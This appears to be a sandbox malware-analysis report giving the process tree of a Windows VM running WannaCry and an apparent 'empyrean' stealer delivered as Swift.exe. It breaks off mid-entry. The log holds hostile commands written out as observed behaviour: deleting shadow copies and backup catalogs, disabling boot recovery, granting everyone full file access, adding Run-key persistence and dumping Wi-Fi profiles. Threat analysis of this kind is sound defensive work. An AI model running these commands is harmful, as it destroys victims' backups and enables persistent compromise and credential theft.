Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3312	attrib.exe
5560	attrib.exe
5388	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://mediafire.com/file/bdgpo14sosik63b/Swift.zip/file
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd65c846f8,0x7ffd65c84708,0x7ffd65c84718
  2⤵
  PID:4788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
  2⤵
  PID:2012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
  2⤵
  PID:3328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:2512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4776 /prefetch:1
  2⤵
  PID:5056
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5752 /prefetch:8
  2⤵
  PID:3904
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5752 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:2400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6168 /prefetch:1
  2⤵
  PID:3084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:1
  2⤵
  PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6476 /prefetch:1
  2⤵
  PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6504 /prefetch:1
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5772 /prefetch:8
  2⤵
  PID:1760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6532 /prefetch:1
  2⤵
  PID:3284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4640 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
  2⤵
  PID:756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:1680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1920 /prefetch:1
  2⤵
  PID:4596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6300 /prefetch:1
  2⤵
  PID:2728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6524 /prefetch:1
  2⤵
  PID:4652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2748 /prefetch:1
  2⤵
  PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1
  2⤵
  PID:4456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:1724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6504 /prefetch:1
  2⤵
  PID:2516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4772 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6732 /prefetch:8
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7028 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3836
- C:\Users\Admin\Downloads\WannaCry.EXE
  "C:\Users\Admin\Downloads\WannaCry.EXE"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  PID:1216
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3312
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:8
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 204811737411542.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2952
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      System Location Discovery: System Language Discovery
      PID:5972
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5560
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected] co
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4456
  - - C:\Users\Admin\Downloads\TaskData\Tor\taskhsvc.exe
      TaskData\Tor\taskhsvc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b @[email protected] vs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4272
  - - C:\Users\Admin\Downloads\@[email protected]
      @[email protected] vs
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:5820
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4568
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5916
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5600
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5616
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "laliykmzxf220" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5308
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "laliykmzxf220" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:5828
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5152
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6128
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5172
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5616
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2808
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5712
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3552
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1380
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:456
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5764
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3788
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5224
- - C:\Users\Admin\Downloads\taskse.exe
    taskse.exe C:\Users\Admin\Downloads\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1356
- - C:\Users\Admin\Downloads\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4376
- - C:\Users\Admin\Downloads\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5856 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5728
- C:\Users\Admin\Downloads\WannaCry.EXE
  "C:\Users\Admin\Downloads\WannaCry.EXE"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4376
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5388
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
  2⤵
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1788 /prefetch:1
  2⤵
  PID:4060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,15399657878791993806,9824962807497303895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2752 /prefetch:1
  2⤵
  PID:4676

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1552

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3984

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1040

C:\Users\Admin\Downloads\Swift\Swift\Swift.exe
"C:\Users\Admin\Downloads\Swift\Swift\Swift.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:2344
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Executes dropped EXE
  PID:4676
- - C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:2120
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
      4⤵
      PID:3544
    - - C:\Windows\system32\reg.exe
        
        reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
        5⤵
        Modifies registry key
        
        PID:4928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
      4⤵
      PID:5024
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:3676
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:3144
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:916
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:64
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1444
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3196
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
